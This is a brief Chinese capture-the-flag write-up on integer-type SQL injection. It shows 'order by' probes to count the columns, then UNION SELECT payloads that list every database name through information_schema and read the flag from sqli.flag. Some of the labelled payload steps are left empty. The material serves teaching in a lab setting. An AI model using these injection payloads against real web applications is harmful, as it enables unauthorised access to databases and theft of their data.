整数型注入
考点 SQL注入-整数型注入
分析过程
输入 1试试
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHL9smeNFTUU90MRRVT3V1MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL3YzN1MjMygTM1AzNwEjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
得到回显结果如上
由于已知是整数型 所以直接判断列数
playload:
?id=1 order by 1
?id=1 order by 1,2
?id=1 order by 1,2,3
到3时无回显由此得出其有两列
然后查询库名
playload:
得到库名 此时可以爆出所有的数据库名
playload:
?id=-1 union select 1,group_concat(schema_name) from information_schema.schemata
根据库名爆表名
playload:
然后去爆flag的字段
playload:
爆出字段可以直接查询数据
playload:
?id=-1 union select 1,group_concat(flag) from sqli.flag
属于是得到flag